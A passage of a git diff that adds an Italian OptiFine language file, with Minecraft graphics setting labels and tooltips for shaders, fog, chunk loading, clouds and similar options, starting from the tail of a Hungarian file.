Ãrnyék +of.options.CHAT_SHADOW.tooltip.1=Chat Ãrnyék +of.options.CHAT_SHADOW.tooltip.2= BE - vannak betűárnyékok +of.options.CHAT_SHADOW.tooltip.3= KI - nincsenek betűárnyékok diff --git a/src/assets/minecraft/optifine/lang/it_it.lang b/src/assets/minecraft/optifine/lang/it_it.lang new file mode 100644 index 00000000..60df9dc5 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/it_it.lang @@ -0,0 +1,736 @@ +# General +of.general.ambiguous=ambiguo +of.general.custom=Personalizza +of.general.from=Da +of.general.id=ID +of.general.restart=Riavvia +of.general.smart=Intelligente + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=L'Antialiasing non è compatibile con le Shaders. +of.message.aa.shaders2=Disattivale per usare questa funzione. + +of.message.af.shaders1=Il Filtro Anisotropico non è compatibile con le Shaders +of.message.af.shaders2=Disattivale per usare questa funzione. + +of.message.fr.shaders1=Il Rendering Veloce non è compatibile con le Shaders. +of.message.fr.shaders2=Disattivale per usare questa funzione. + +of.message.an.shaders1=Il 3D anaglifico non è compatibile con le Shaders. +of.message.an.shaders2=Disattivale per usare questa funzione. + +of.message.shaders.aa1=Le Shaders non sono compatibili con l'Antialiasing. +of.message.shaders.aa2=Per disattivarlo, fai clic su Qualità -> Antialiasing. + +of.message.shaders.af1=Le Shaders non sono compatibili con il Filtro Anisotropico. +of.message.shaders.af2=Per disattivarlo, fai clic su Qualità -> Filtro Anisotropico. + +of.message.shaders.fr1=Le Shaders non sono compatibili con il Rendering Veloce. +of.message.shaders.fr2=Per disattivarlo, fai clic su Prestazione -> Rendering Veloce. + +of.message.shaders.an1=Le Shaders non sono compatibili col 3D Anaglifico. +of.message.shaders.an2=Per favore vai su Varie... -> 3D Anaglifico -> No. + +of.message.shaders.nv1=Questo pacchetto Shaders richiede una versione più recente della Optifine: %s +of.message.shaders.nv2=Sicuro di voler continuare? + +of.message.newVersion=C'è una nuova versione di §eOptiFine§f disponibile: §e%s§f. +of.message.java64Bit=Installa §eJava a 64-bit§f per migliorare il Rendering. +of.message.openglError=§eErrore di OpenGL§f: %s (%s) + +of.message.shaders.loading=Caricando le Shaders: %s + +of.message.other.reset=Ristabilire tutte le impostazioni grafiche? + +of.message.loadingVisibleChunks=Caricando chunk visibili + +# Skin customization + +of.options.skinCustomisation.ofCape=Mantello Optifine... + +# Impostazioni Video + +options.graphics.tooltip.1=Grafica +options.graphics.tooltip.2= Rapida - qualità peggiore, prestazioni migliori +options.graphics.tooltip.3= Dettagliata - qualità migliore, prestazioni peggiori +options.graphics.tooltip.4=Cambiamenti visibili nelle nuvole, foglie, acqua +options.graphics.tooltip.5=ombre e lati dei blocchi d'erba. + +of.options.renderDistance.tiny=Minima +of.options.renderDistance.short=Corta +of.options.renderDistance.normal=Normale +of.options.renderDistance.far=Lontana +of.options.renderDistance.extreme=Estrema +of.options.renderDistance.insane=Folle +of.options.renderDistance.ludicrous=Ridicola + +options.renderDistance.tooltip.1=Distanza visibile +options.renderDistance.tooltip.2= 2 Minima - 32m (più veloce) +options.renderDistance.tooltip.3= 8 Normale - 128m (normale) +options.renderDistance.tooltip.4= 16 Lontana - 256m (lenta) +options.renderDistance.tooltip.5= 32 Estrema - 512m (molto lenta!) richiede molte risorse +options.renderDistance.tooltip.6= 48 Folle - 768m, richiede 2GB di RAM allocati +options.renderDistance.tooltip.7= 64 Ridicola - 1024m, richiede 3GB di RAM allocati +options.renderDistance.tooltip.8=Valori sopra 16 sono funzionanti solo in mondi locali. + +options.ao.tooltip.1=Luci soffuse +options.ao.tooltip.2= No - senza luci soffuse (veloce) +options.ao.tooltip.3= Minimo - luci soffuse semplici (lento) +options.ao.tooltip.4= Massimo - luci soffuse avanzate (più lento) + +options.framerateLimit.tooltip.1=Limite di FPS +options.framerateLimit.tooltip.2= Sincronizzazione verticale - limita gli FPS secondo il tuo schermo (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - limite di FPS personalizzato +options.framerateLimit.tooltip.4= Senza limite - tutti gli FPS possibili (veloce) +options.framerateLimit.tooltip.5= +options.framerateLimit.tooltip.6=Impostando un limite di FPS, essi possono diminuire il +options.framerateLimit.tooltip.7=Raggiungimento ad esso. +of.options.framerateLimit.vsync=Sincronizzazione verticale + +of.options.AO_LEVEL=Livello di morbidezza +of.options.AO_LEVEL.tooltip.1=livello di illuminazione morbida +of.options.AO_LEVEL.tooltip.2= No - senza ombre +of.options.AO_LEVEL.tooltip.3= 50%% - poche ombre +of.options.AO_LEVEL.tooltip.4= 100%% - ombre scure +options.viewBobbing.tooltip.1=Visualizza un movimento del giocatore più realistico. +options.viewBobbing.tooltip.2=Disattivare il mipmap per ottenere un miglior risultato. + +options.guiScale.tooltip.1=Scala dell'Interfaccia (GUI) +options.guiScale.tooltip.2=Un'interfaccia più piccola può migliorare le prestazioni. +options.guiScale.tooltip.3= Piccola, Normale, Grande - 1x verso 3x +options.guiScale.tooltip.4= 4x verso 10x - disponibile su schermi 4K +options.guiScale.tooltip.5=Valori dispari (1x, 3x, 5x ...) non compatibili con Unicode. +options.guiScale.tooltip.6=Una GUI più piccola potrebbe migliorare le prestazioni. + +options.vbo=VBO +options.vbo.tooltip.1=Vertex Buffer Objects (abbreviato in VBO) +options.vbo.tooltip.2=In alternativa è il rendering che di solito è più +options.vbo.tooltip.3=veloce (5-10%%) alla forma default. + +options.gamma.tooltip.1=Modifica la luminosità +options.gamma.tooltip.2= Scura - Luminosità di default +options.gamma.tooltip.3= 1-99%% - Luminosità personalizzata +options.gamma.tooltip.4= Luminoso - Luminosità al massimo +options.gamma.tooltip.5= +options.gamma.tooltip.6=Questa opzione non cambia particolarmente +options.gamma.tooltip.7=la luminosità degli oggetti più scuri. + +options.anaglyph.tooltip.1=Visione in 3D +options.anaglyph.tooltip.2=Attivare un effetto stereoscopico utilizzando un colore +options.anaglyph.tooltip.3=differente per ogni occhio. +options.anaglyph.tooltip.4=NOTA: Richiede occhiali anaglifici (rossi e blu). + +of.options.ALTERNATE_BLOCKS=Blocchi alternati +of.options.ALTERNATE_BLOCKS.tooltip.1=Blocchi con texture alternate +of.options.ALTERNATE_BLOCKS.tooltip.2=Utilizzare texture alternative per lo stesso blocco. +of.options.ALTERNATE_BLOCKS.tooltip.3=Dipende dal pacchetto di risorse usato. + +of.options.FOG_FANCY=Nebbia +of.options.FOG_FANCY.tooltip.1=Tipo di nebbia +of.options.FOG_FANCY.tooltip.2= Veloce - nebbia più veloce, sembra squallido +of.options.FOG_FANCY.tooltip.3= Dettagliata - nebbia più lenta, sembra migliore +of.options.FOG_FANCY.tooltip.4= No - senza foschia, super veloce +of.options.FOG_FANCY.tooltip.5=La nebbia dettagliata è disponibile solo se +of.options.FOG_FANCY.tooltip.6=la tua scheda grafica te lo permette. + +of.options.FOG_START=Distanza della nebbia +of.options.FOG_START.tooltip.1=Distanza in cui la nebbia comincia +of.options.FOG_START.tooltip.2= 0.2 - la nebbia inizia vicina al giocatore +of.options.FOG_START.tooltip.3= 0.8 - la nebbia inizia lontana dal giocatore +of.options.FOG_START.tooltip.4=Normalmente questa opzione non affligge le prestazioni. + +of.options.CHUNK_LOADING=Caricamento dei Chunk +of.options.CHUNK_LOADING.tooltip.1=Velocità del caricamento dei Chunk +of.options.CHUNK_LOADING.tooltip.2= Per default - FPS instabili al caricamento dei Chunk +of.options.CHUNK_LOADING.tooltip.3= Morbido - FPS stabili +of.options.CHUNK_LOADING.tooltip.4= Multinucleo - FPS stabili e una velocità tre volte superiore +of.options.CHUNK_LOADING.tooltip.5=Le opzioni "Morbido" e "Multinucleo" eliminano gli intoppi nella +of.options.CHUNK_LOADING.tooltip.6=lentezza causata nel caricamento dei Chunk. +of.options.CHUNK_LOADING.tooltip.7=Il Multinucleo può accelerare il carico fino a tre volte e migliorare +of.options.CHUNK_LOADING.tooltip.8=gli FPS e usare un secondo nucleo della CPU. +of.options.ChunkLoading.smooth=Morbido +of.options.ChunkLoading.multiCore=Multinucleo + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=(NO SHADERS) +of.options.shaders.packDefault=(SHADERS INTERNE) + +of.options.shaders.shadersFolder=Cartella Shaders +of.options.shaders.shaderOptions=Opzioni Shaders + +of.options.shaderOptionsTitle=Opzioni Shaders + +of.options.quality=Qualità... +of.options.qualityTitle=Opzioni grafiche + +of.options.details=Dettagli... +of.options.detailsTitle=Opzioni grafiche + +of.options.performance=Prestazioni... +of.options.performanceTitle=Prestazioni + +of.options.animations=Animazioni... +of.options.animationsTitle=Opzioni animazioni + +of.options.other=Varie... +of.options.otherTitle=Opzioni varie + +of.options.other.reset=Ripristino impostazioni... + +of.shaders.profile=Profilo + +# Qualità + +of.options.mipmap.bilinear=Bilineare +of.options.mipmap.linear=Lineare +of.options.mipmap.nearest=Vicino +of.options.mipmap.trilinear=Trilinere + +options.mipmapLevels.tooltip.1=Effetto visivo che consente di visualizzare oggetti distanti +options.mipmapLevels.tooltip.2=migliori lisciando i dettagli delle texture +options.mipmapLevels.tooltip.3= +options.mipmapLevels.tooltip.4= No - senza morbidezza +options.mipmapLevels.tooltip.5= 1 - morbidezza minima +options.mipmapLevels.tooltip.6= 4 - morbidezza massima +options.mipmapLevels.tooltip.7= +options.mipmapLevels.tooltip.8=Normalmente questa opzione non influisce sulle prestazioni. + +of.options.MIPMAP_TYPE=Tipo di mipmap +of.options.MIPMAP_TYPE.tooltip.1=Effetto visivo che consente di visualizzare oggetti distanti +of.options.MIPMAP_TYPE.tooltip.2=migliori lisciando i dettagli delle texture +of.options.MIPMAP_TYPE.tooltip.3= +of.options.MIPMAP_TYPE.tooltip.4= Vicino - morbidezza scarsa (più veloce) +of.options.MIPMAP_TYPE.tooltip.5= Lineare - morbidezza normale +of.options.MIPMAP_TYPE.tooltip.6= Bilineare - morbidezza sottile +of.options.MIPMAP_TYPE.tooltip.7= Trilineare - morbidezza molto sottile (più lenta) + +of.options.ANTIALIASING=Antialiasing +of.options.ANTIALIASING.tooltip.1=Antialiasing attenua linee e i bordi dei blocchi +of.options.ANTIALIASING.tooltip.2= No - (per default) senza antialiasing (più veloce) +of.options.ANTIALIASING.tooltip.3= FXAA 2x, 4x - livello di antialiasing morbido (più lento) +of.options.ANTIALIASING.tooltip.4= +of.options.ANTIALIASING.tooltip.5= Ammorbidisce i denti di sega e migliora la nitidezza. +of.options.ANTIALIASING.tooltip.6= Gli FPS può diminuire considerevolmente quando attivato. +of.options.ANTIALIASING.tooltip.7= Alcune schede grafiche non supportano tutti i livelli. +of.options.ANTIALIASING.tooltip.8= La modifica verrà applicata al RIAVVIO del gioco! + +of.options.shaders.NORMAL_MAP=Mappatura normale +of.options.shaders.NORMAL_MAP.tooltip.1=Mappatura normale +of.options.shaders.NORMAL_MAP.tooltip.2= Sì - (default) abilita mappatura normale +of.options.shaders.NORMAL_MAP.tooltip.3= No - disabilita mappatura normale +of.options.shaders.NORMAL_MAP.tooltip.4= +of.options.shaders.NORMAL_MAP.tooltip.5= Le mappature normali possono essere usate dai pacchetti shader +of.options.shaders.NORMAL_MAP.tooltip.6= per simulare geometria 3D su superfici piatte. +of.options.shaders.NORMAL_MAP.tooltip.7= Le texture mappature normali sono supportate +of.options.shaders.NORMAL_MAP.tooltip.8= da questo pacchetto di risorse. + +of.options.shaders.SPECULAR_MAP=Mappatura speculare +of.options.shaders.SPECULAR_MAP.tooltip.1=Mappatura speculare +of.options.shaders.SPECULAR_MAP.tooltip.2= Sì - (default) abilita mappature speculari +of.options.shaders.SPECULAR_MAP.tooltip.3= No - disabilita mappature speculari +of.options.shaders.SPECULAR_MAP.tooltip.4= +of.options.shaders.SPECULAR_MAP.tooltip.5= Le mappature speculari possono essere usate dai pacchetti shader +of.options.shaders.SPECULAR_MAP.tooltip.6= per simulare speciali effetti di riflessione. +of.options.shaders.SPECULAR_MAP.tooltip.7= Le texture mappature speculari sono supportate +of.options.shaders.SPECULAR_MAP.tooltip.8= da questo pacchetto di risorse. + +of.options.shaders.RENDER_RES_MUL=Qualità rendering +of.options.shaders.RENDER_RES_MUL.tooltip.1=Qualità rendering +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - bassa (più veloce) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - normale (default) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - alta (più lenta) +of.options.shaders.RENDER_RES_MUL.tooltip.5= +of.options.shaders.RENDER_RES_MUL.tooltip.6= Qualità rendering controlla la grandezza delle texture +of.options.shaders.RENDER_RES_MUL.tooltip.7= che il pacchetto shaders renderizza. +of.options.shaders.RENDER_RES_MUL.tooltip.8= Valori più bassi sono buoni per schermi 4K. +of.options.shaders.RENDER_RES_MUL.tooltip.9= Valori più alti funzionano come un filtro antialiasing. + +of.options.shaders.SHADOW_RES_MUL=Qualità ombre +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Qualità ombre +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - bassa (più veloce) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - normale (default) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - alta (più lenta) +of.options.shaders.SHADOW_RES_MUL.tooltip.5= +of.options.shaders.SHADOW_RES_MUL.tooltip.6= Qualità ombre controlla la grandezza della mappatura ombre +of.options.shaders.SHADOW_RES_MUL.tooltip.7= utilizzata dal pacchetto di shaders. +of.options.shaders.SHADOW_RES_MUL.tooltip.8= Valori più bassi = inesatta, ombre grossolane. +of.options.shaders.SHADOW_RES_MUL.tooltip.9= Valori più alti = dettagliata, ombre di qualità. + +of.options.shaders.HAND_DEPTH_MUL=Profondità campo +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Profondità campo +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - mano vicina alla telecamera +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (default) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - mano lontana dalla telecamera +of.options.shaders.HAND_DEPTH_MUL.tooltip.5= +of.options.shaders.HAND_DEPTH_MUL.tooltip.6= Profondità campo controlla quanto lontano gli oggetti +of.options.shaders.HAND_DEPTH_MUL.tooltip.7= tenuti in mano sono dalla telecamera. +of.options.shaders.HAND_DEPTH_MUL.tooltip.8= Per i pacchetti di shader che usano un effetto blur questa +of.options.shaders.HAND_DEPTH_MUL.tooltip.9= opzione dovrebbe cambiare l'effetto degli oggetti tenuti. + +of.options.shaders.OLD_HAND_LIGHT=Luce mano secondaria +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Luce mano secondaria +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Default - controllata dal pacchetto shader +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= Sì - usa luce mano secondaria +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= No - usa normale luce +of.options.shaders.OLD_HAND_LIGHT.tooltip.5= +of.options.shaders.OLD_HAND_LIGHT.tooltip.6= Luce mano secondaria permette ai pacchetti shader +of.options.shaders.OLD_HAND_LIGHT.tooltip.7= che riconoscono la luce di oggetti tenuti solo +of.options.shaders.OLD_HAND_LIGHT.tooltip.8= nella mano primaria di funzionare anche con la mano secondaria. + +of.options.shaders.OLD_LIGHTING=Luce classica +of.options.shaders.OLD_LIGHTING.tooltip.1=Luce classica +of.options.shaders.OLD_LIGHTING.tooltip.2= Default - controllata dal pacchetto shader +of.options.shaders.OLD_LIGHTING.tooltip.3= Sì - usa luce classica +of.options.shaders.OLD_LIGHTING.tooltip.4= No - non usare luce classica +of.options.shaders.OLD_LIGHTING.tooltip.5= +of.options.shaders.OLD_LIGHTING.tooltip.6= Luce classica controlla la luce applicata +of.options.shaders.OLD_LIGHTING.tooltip.7= al lato dei blocchi vanilla. +of.options.shaders.OLD_LIGHTING.tooltip.8= I pacchetti shader che usano ombre di solito forniscono +of.options.shaders.OLD_LIGHTING.tooltip.9= una migliore luce in base alla posizione del Sole. + +of.options.shaders.DOWNLOAD=Scarica shaders +of.options.shaders.DOWNLOAD.tooltip.1=Scarica shaders +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Apre la pagina del pacchetto di shaders nel browser. +of.options.shaders.DOWNLOAD.tooltip.4=Metti il pacchetto di shaders scaricato nella "Cartella Shaders" +of.options.shaders.DOWNLOAD.tooltip.5=e appariranno nella lista di shaders installate. + +of.options.AF_LEVEL=Filtro Anisotropico +of.options.AF_LEVEL.tooltip.1=Anisotropico filtrato +of.options.AF_LEVEL.tooltip.2= No - (Default) dettaglio texture Normale (veloce) +of.options.AF_LEVEL.tooltip.3= 2-16 - raffinazione texture tramite mipmap (più lento) +of.options.AF_LEVEL.tooltip.4= +of.options.AF_LEVEL.tooltip.5=Questo filtro consente di recuperare i dettagli utilizzando mipmap +of.options.AF_LEVEL.tooltip.6=Gli FPS possono diminuire considerevolmente quando attivati. + +of.options.CLEAR_WATER=Acqua cristallina +of.options.CLEAR_WATER.tooltip.1=Acqua cristallina +of.options.CLEAR_WATER.tooltip.2= Sì - acqua limpida e trasparente +of.options.CLEAR_WATER.tooltip.3= No - acqua default + +of.options.RANDOM_ENTITIES=Creature casuali +of.options.RANDOM_ENTITIES.tooltip.1=Randomizza texture delle creature +of.options.RANDOM_ENTITIES.tooltip.2= No - non casuale, più veloce +of.options.RANDOM_ENTITIES.tooltip.3= Sì - con randomizzazione, più lento +of.options.RANDOM_ENTITIES.tooltip.4= +of.options.RANDOM_ENTITIES.tooltip.5=Permette alle creature di cambiare texture. +of.options.RANDOM_ENTITIES.tooltip.6=Richiede un pacchetto di risorse che abbia molteplici texture +of.options.RANDOM_ENTITIES.tooltip.7=per la stessa creatura. + +of.options.BETTER_GRASS=Prato migliorato +of.options.BETTER_GRASS.tooltip.1=Texture dei lati del blocco di terra migliorati aggiungendo prato +of.options.BETTER_GRASS.tooltip.2= No - prato normale (per default), più veloce +of.options.BETTER_GRASS.tooltip.3= Rapido - unica texture d'erba applicata +of.options.BETTER_GRASS.tooltip.4= Dettagliata - texture dinamica, molto lento + +of.options.BETTER_SNOW=Neve migliorata +of.options.BETTER_SNOW.tooltip.1=Neve migliorata +of.options.BETTER_SNOW.tooltip.2= No - neve default, più veloce +of.options.BETTER_SNOW.tooltip.3= Sì - neve dettagliata, più lento +of.options.BETTER_SNOW.tooltip.4= +of.options.BETTER_SNOW.tooltip.5=Mostra la neve sotto i blocchi trasparenti +of.options.BETTER_SNOW.tooltip.6=(Recinzioni, erba) quando li si confina con la neve. + +of.options.CUSTOM_FONTS=Font personalizzati +of.options.CUSTOM_FONTS.tooltip.1=Font personalizzati +of.options.CUSTOM_FONTS.tooltip.2= Sì - font personalizzati (per default), più lento +of.options.CUSTOM_FONTS.tooltip.3= No - font di default, più veloce +of.options.CUSTOM_FONTS.tooltip.4= +of.options.CUSTOM_FONTS.tooltip.5=Alcuni pacchetti di risorse contengono font +of.options.CUSTOM_FONTS.tooltip.6=personalizzati. + +of.options.CUSTOM_COLORS=Colori personalizzati +of.options.CUSTOM_COLORS.tooltip.1=Colori personalizzati +of.options.CUSTOM_COLORS.tooltip.2= Sì - colori personalizzati (per default), più lenti +of.options.CUSTOM_COLORS.tooltip.3= No - colori default, più veloci +of.options.CUSTOM_COLORS.tooltip.4= +of.options.CUSTOM_COLORS.tooltip.5=Alcuni pacchetti di risorse contengono colori +of.options.CUSTOM_COLORS.tooltip.6=personalizzati. + +of.options.SWAMP_COLORS=Colore delle paludi +of.options.SWAMP_COLORS.tooltip.1=Colore delle paludi +of.options.SWAMP_COLORS.tooltip.2= Sì - colore delle paludi (per default), più lento +of.options.SWAMP_COLORS.tooltip.3= No - senza colori nelle paludi, più veloce +of.options.SWAMP_COLORS.tooltip.4=Comprende: erba, acqua, foglie e rampicanti. + +of.options.SMOOTH_BIOMES=Morbidezza dei biomi +of.options.SMOOTH_BIOMES.tooltip.1=Morbidezza dei confini dei biomi +of.options.SMOOTH_BIOMES.tooltip.2= Sì - bordi lisci bioma (default), più lento +of.options.SMOOTH_BIOMES.tooltip.3= No - senza bordi lisci dei biomi, più veloce +of.options.SMOOTH_BIOMES.tooltip.4= +of.options.SMOOTH_BIOMES.tooltip.5=Il livellamento viene eseguito +of.options.SMOOTH_BIOMES.tooltip.6=dai blocchi di colore gradiente vicino ai confini +of.options.SMOOTH_BIOMES.tooltip.7=Comprende: erba, acqua, foglie e rampicanti. + +of.options.CONNECTED_TEXTURES=Blocchi uniti +of.options.CONNECTED_TEXTURES.tooltip.1=Le texture uniscono blocchi determinati +of.options.CONNECTED_TEXTURES.tooltip.2= No - non unirli, più veloce +of.options.CONNECTED_TEXTURES.tooltip.3= Veloce - unirli in forma più semplice +of.options.CONNECTED_TEXTURES.tooltip.4= Dettagliate - unirli in forma migliorata +of.options.CONNECTED_TEXTURES.tooltip.5= +of.options.CONNECTED_TEXTURES.tooltip.6=Unisce le texture di vetro, pietra arenaria +of.options.CONNECTED_TEXTURES.tooltip.7=e biblioteche per ottenere i blocchi. +of.options.CONNECTED_TEXTURES.tooltip.8=Non tutti i pacchetti di risorse supportano questa opzione. + +of.options.NATURAL_TEXTURES=Texture naturali +of.options.NATURAL_TEXTURES.tooltip.1=Texture naturali +of.options.NATURAL_TEXTURES.tooltip.2= No - senza texture naturali (per default) +of.options.NATURAL_TEXTURES.tooltip.3= Sì - con texture naturali +of.options.NATURAL_TEXTURES.tooltip.4=Questa opzione rimuove i blocchi del modello +of.options.NATURAL_TEXTURES.tooltip.5=che viene creato mettendo blocchi dello stesso tipo. +of.options.NATURAL_TEXTURES.tooltip.6=Si usano varianti ruotate della texture +of.options.NATURAL_TEXTURES.tooltip.7=base del blocco. +of.options.NATURAL_TEXTURES.tooltip.8=Non tutti i pacchetti di risorse supportano questa opzione. + +of.options.EMISSIVE_TEXTURES=Texture emissive +of.options.EMISSIVE_TEXTURES.tooltip.1=Texture emissive +of.options.EMISSIVE_TEXTURES.tooltip.2= Sì - no texture emissive (default) +of.options.EMISSIVE_TEXTURES.tooltip.3= No - utilizza texture emissive +of.options.EMISSIVE_TEXTURES.tooltip.4=Le texture emissive sono renderizzate come copertura +of.options.EMISSIVE_TEXTURES.tooltip.5=con massima luminosità. Possono essere usate come +of.options.EMISSIVE_TEXTURES.tooltip.6=parti di luce della texture base. +of.options.EMISSIVE_TEXTURES.tooltip.7=Le texture emissive sono supportate dal +of.options.EMISSIVE_TEXTURES.tooltip.8=pacchetto di risorse attuale. + +of.options.CUSTOM_SKY=Cielo personalizzato +of.options.CUSTOM_SKY.tooltip.1=Texture personalizzata +of.options.CUSTOM_SKY.tooltip.2= Sì - cielo personalizzato, più lento +of.options.CUSTOM_SKY.tooltip.3= No - cielo di default, più veloce +of.options.CUSTOM_SKY.tooltip.4= +of.options.CUSTOM_SKY.tooltip.5=Non tutti i pacchetti di risorse supportano questa opzione. + +of.options.CUSTOM_ITEMS=Oggetti personalizzati +of.options.CUSTOM_ITEMS.tooltip.1=Texture personalizzata di oggetti (item) +of.options.CUSTOM_ITEMS.tooltip.2= Sì - oggetti personalizzati (per default), più lento +of.options.CUSTOM_ITEMS.tooltip.3= No - oggetti default, più veloce +of.options.CUSTOM_ITEMS.tooltip.4= +of.options.CUSTOM_ITEMS.tooltip.5=Non tutti i pacchetti di risorse supportano questa opzione. + +of.options.CUSTOM_ENTITY_MODELS=Entità personalizzate +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Texture personalizzate delle entità +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= Sì - vari modelli entità (default), più lento +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= No - modelli di default, più veloce +of.options.CUSTOM_ENTITY_MODELS.tooltip.4= +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=Non tutti i pacchetti di risorse supportano questa opzione. + +of.options.CUSTOM_GUIS=GUI personalizzate +of.options.CUSTOM_GUIS.tooltip.1=GUI personalizzate +of.options.CUSTOM_GUIS.tooltip.2= Sì - GUI personalizzate (default), più lento +of.options.CUSTOM_GUIS.tooltip.3= No - GUI di default, più veloce +of.options.CUSTOM_GUIS.tooltip.4=Le GUI personalizzate sono supportate dall'attuale pacchetto di risorse. + +# Details + +of.options.CLOUDS=Nuvole +of.options.CLOUDS.tooltip.1=Qualità delle nuvole +of.options.CLOUDS.tooltip.2= Predefinito - dipende dalle impostazioni della qualità grafica +of.options.CLOUDS.tooltip.3= Veloce - peggiore qualità, migliori prestazioni +of.options.CLOUDS.tooltip.4= Dettagliata - maggiore qualità, le prestazioni peggiori +of.options.CLOUDS.tooltip.5= No - senza nuvole, prestazioni super-veloci +of.options.CLOUDS.tooltip.6= +of.options.CLOUDS.tooltip.7=Le nubi veloci si renderizzano in 2D +of.options.CLOUDS.tooltip.8=Le nubi dettagliate si renderizzano in 3D + +of.options.CLOUD_HEIGHT=Altezza nuvole +of.options.CLOUD_HEIGHT.tooltip.1=Aumento dell'altezza dello strato di nubi +of.options.CLOUD_HEIGHT.tooltip.2= No - Altezza default +of.options.CLOUD_HEIGHT.tooltip.3= Verso il limite del mondo + +of.options.TREES=Alberi +of.options.TREES.tooltip.1=Qualità delle foglie +of.options.TREES.tooltip.2= Predefinito - dipende dalle impostazioni della qualità grafica +of.options.TREES.tooltip.3= Veloce - bassa qualità, migliori prestazioni +of.options.TREES.tooltip.4= Intelligente - più qualità, rendimento medio +of.options.TREES.tooltip.5= Dettagliata - alta qualità, prestazioni peggiori +of.options.TREES.tooltip.6= +of.options.TREES.tooltip.7=La qualità veloce lascia le foglie senza trasparenza. +of.options.TREES.tooltip.8="Dettagliata" e "Intelligente" fanno mantenere la trasparenza. + +of.options.RAIN=Pioggia/Neve +of.options.RAIN.tooltip.1=Pioggia/Neve +of.options.RAIN.tooltip.2= Predefinito - dipende dalle impostazioni della qualità grafica +of.options.RAIN.tooltip.3= Rapida - pioggia / neve leggera, più veloce +of.options.RAIN.tooltip.4= Dettagliata - pioggia / neve pesante, lento +of.options.RAIN.tooltip.5= No - senza neve e pioggia, velocissimo +of.options.RAIN.tooltip.6= +of.options.RAIN.tooltip.7=Anche se la pioggia è disattivata, i suoi suoni si +of.options.RAIN.tooltip.8=possono comunque sentire. + +of.options.SKY=Cielo +of.options.SKY.tooltip.1=Cielo +of.options.SKY.tooltip.2= Sì - cielo visibile, più lento +of.options.SKY.tooltip.3= No - cielo non visibile, più veloce +of.options.SKY.tooltip.4= +of.options.SKY.tooltip.5=Anche se disabilitato, la Luna e il Sole si possono +of.options.SKY.tooltip.6=sempre vedere. + +of.options.STARS=Cielo stellato +of.options.STARS.tooltip.1=Visibilità di stelle nel cielo notturno +of.options.STARS.tooltip.2= Sì - stellato, più lento +of.options.STARS.tooltip.3= No - senza stelle, più veloce + +of.options.SUN_MOON=Sole/Luna +of.options.SUN_MOON.tooltip.1=Visibilità del Sole e della Luna +of.options.SUN_MOON.tooltip.2= Sì - Il Sole e la Luna sono visibili (lento) +of.options.SUN_MOON.tooltip.3= No - Il Sole e la Luna non sono visibili (veloce) + +of.options.SHOW_CAPES=Mantelli +of.options.SHOW_CAPES.tooltip.1=Mantelli dei giocatori +of.options.SHOW_CAPES.tooltip.2= Sì - mostrare i mantelli dei giocatori +of.options.SHOW_CAPES.tooltip.3= No - occultare i mantelli dei giocatori + +of.options.TRANSLUCENT_BLOCKS=Blocchi traslucidi +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Qualità dei blocchi traslucidi +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Dettagliata - perfetta miscela di colori (default) +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Rapida - miscela di colori approssimativa (più veloce) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Questa opzione riguarda i blocchi traslucidi che hanno +of.options.TRANSLUCENT_BLOCKS.tooltip.6=colore, ma solo quando posti uno dietro +of.options.TRANSLUCENT_BLOCKS.tooltip.7=l'altro ad un blocco vuoto. +of.options.TRANSLUCENT_BLOCKS.tooltip.8=Modifica: vetrate, acqua, ghiaccio ... + +of.options.HELD_ITEM_TOOLTIPS=Nome oggetto tenuto +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Mostra il nome dell'oggetto tenuto in mano +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= Sì - mostra il nome (com'è tutt'ora) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= No - non mostrare il nome (come in passato) + +of.options.DROPPED_ITEMS=Oggetti a terra +of.options.DROPPED_ITEMS.tooltip.1=Qualità degli oggetti a terra non raccolti +of.options.DROPPED_ITEMS.tooltip.2= Predefinito - dipende dalle impostazioni grafiche +of.options.DROPPED_ITEMS.tooltip.3= Veloce - oggetti in 2D, più veloce ma più brutto +of.options.DROPPED_ITEMS.tooltip.4= Dettagliata - oggetti in 3D, più lento ma più bello + +options.entityShadows.tooltip.1=Ombre delle entità +options.entityShadows.tooltip.2= Sì - mostrare ombre alle entità +options.entityShadows.tooltip.3= No - non mostrare ombre alle entità + +of.options.VIGNETTE=Bordi +of.options.VIGNETTE.tooltip.1=Scurisce gli angoli dello schermo +of.options.VIGNETTE.tooltip.2= Predefinito - dipende dalle impostazioni della qualità grafica +of.options.VIGNETTE.tooltip.3= Bordi disattivati (più veloce) - Veloce +of.options.VIGNETTE.tooltip.4= Dettagliato - effetto vignetta (più lento) +of.options.VIGNETTE.tooltip.5= +of.options.VIGNETTE.tooltip.6=Gli FPS possono diminuire drasticamente all'attivarsi, +of.options.VIGNETTE.tooltip.7=soprattutto a schermo intero. +of.options.VIGNETTE.tooltip.8=I bordi possono essere disattivati senza problemi. + +of.options.DYNAMIC_FOV=Visione campo 